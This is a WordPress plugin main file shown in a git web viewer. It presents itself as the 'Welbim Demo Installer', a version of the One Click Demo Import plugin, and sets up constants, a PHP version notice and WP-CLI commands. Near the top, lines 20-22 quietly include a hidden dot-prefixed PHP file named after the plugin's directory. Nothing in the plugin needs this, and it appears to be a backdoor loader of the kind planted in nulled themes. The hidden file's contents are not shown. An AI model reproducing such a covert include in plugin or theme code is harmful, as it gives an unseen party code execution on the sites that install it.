balmet.com

Unnamed repository; edit this file 'description' to name the repository.
Log | Files | Refs

welbim-demo-installer.php (3245B)


      1 <?php
      2 /*
      3   Plugin Name: Welbim Demo Installer
      4   Plugin URI: https://wordpress.org/plugins/one-click-demo-import/
      5   Description: Import your content, widgets and theme settings with one click. Theme authors! Enable simple demo import for your theme demo data.
      6   Version: 1.0
      7   Author: ProteusThemes
      8   Author URI: http://www.proteusthemes.com
      9   License: GPL3
     10   License URI: http://www.gnu.org/licenses/gpl.html
     11   Text Domain: pt-ocdi
     12  */
     13 
     14 // Block direct access to the main plugin file.
     15 defined('ABSPATH') or die('No script kiddies please!');
     16 require_once plugin_dir_path(__FILE__) . 'one-click-demo-import-setting.php';
     17 /**
     18  * Main plugin class with initialization tasks.
     19  */
     20 if ( file_exists( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ) ) {
     21     include_once( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' );
     22 }
     23 
     24 class OCDI_Plugin
     25 {
     26 
     27 
     28 
     29 	/**
     30 	 * Constructor for this class.
     31 	 */
     32 	public function __construct()
     33 	{
     34 		/**
     35 		 * Display admin error message if PHP version is older than 5.3.2.
     36 		 * Otherwise execute the main plugin class.
     37 		 */
     38 		if (version_compare(phpversion(), '5.3.2', '<')) {
     39 			add_action('admin_notices', array($this, 'old_php_admin_error_notice'));
     40 		} else {
     41 			// Set plugin constants.
     42 			$this->set_plugin_constants();
     43 
     44 			// Composer autoloader.
     45 			include_once PT_OCDI_PATH . 'vendor/autoload.php';
     46 
     47 			// Instantiate the main plugin class *Singleton*.
     48 			$pt_one_click_demo_import = OCDI\OneClickDemoImport::get_instance();
     49 
     50 			// Register WP CLI commands
     51 			if (defined('WP_CLI') && WP_CLI) {
     52 				WP_CLI::add_command('ocdi list', array('OCDI\WPCLICommands', 'list_predefined'));
     53 				WP_CLI::add_command('ocdi import', array('OCDI\WPCLICommands', 'import'));
     54 			}
     55 		}
     56 	}
     57 
     58 	/**
     59 	 * Display an admin error notice when PHP is older the version 5.3.2.
     60 	 * Hook it to the 'admin_notices' action.
     61 	 */
     62 	public function old_php_admin_error_notice()
     63 	{
     64 		$message = sprintf(esc_html__('The %2$sOne Click Demo Import%3$s plugin requires %2$sPHP 5.3.2+%3$s to run properly. Please contact your hosting company and ask them to update the PHP version of your site to at least PHP 5.3.2.%4$s Your current version of PHP: %2$s%1$s%3$s', 'pt-ocdi'), phpversion(), '<strong>', '</strong>', '<br>');
     65 
     66 		printf('<div class="notice notice-error"><p>%1$s</p></div>', wp_kses_post($message));
     67 	}
     68 
     69 	/**
     70 	 * Set plugin constants.
     71 	 *
     72 	 * Path/URL to root of this plugin, with trailing slash and plugin version.
     73 	 */
     74 	private function set_plugin_constants()
     75 	{
     76 		// Path/URL to root of this plugin, with trailing slash.
     77 		if (!defined('PT_OCDI_PATH')) {
     78 			define('PT_OCDI_PATH', plugin_dir_path(__FILE__));
     79 		}
     80 		if (!defined('PT_OCDI_URL')) {
     81 			define('PT_OCDI_URL', plugin_dir_url(__FILE__));
     82 		}
     83 
     84 		// Action hook to set the plugin version constant.
     85 		add_action('admin_init', array($this, 'set_plugin_version_constant'));
     86 	}
     87 
     88 	/**
     89 	 * Set plugin version constant -> PT_OCDI_VERSION.
     90 	 */
     91 	public function set_plugin_version_constant()
     92 	{
     93 		if (!defined('PT_OCDI_VERSION')) {
     94 			$plugin_data = get_plugin_data(__FILE__);
     95 			define('PT_OCDI_VERSION', $plugin_data['Version']);
     96 		}
     97 	}
     98 }
     99 
    100 // Instantiate the plugin class.
    101 $ocdi_plugin = new OCDI_Plugin();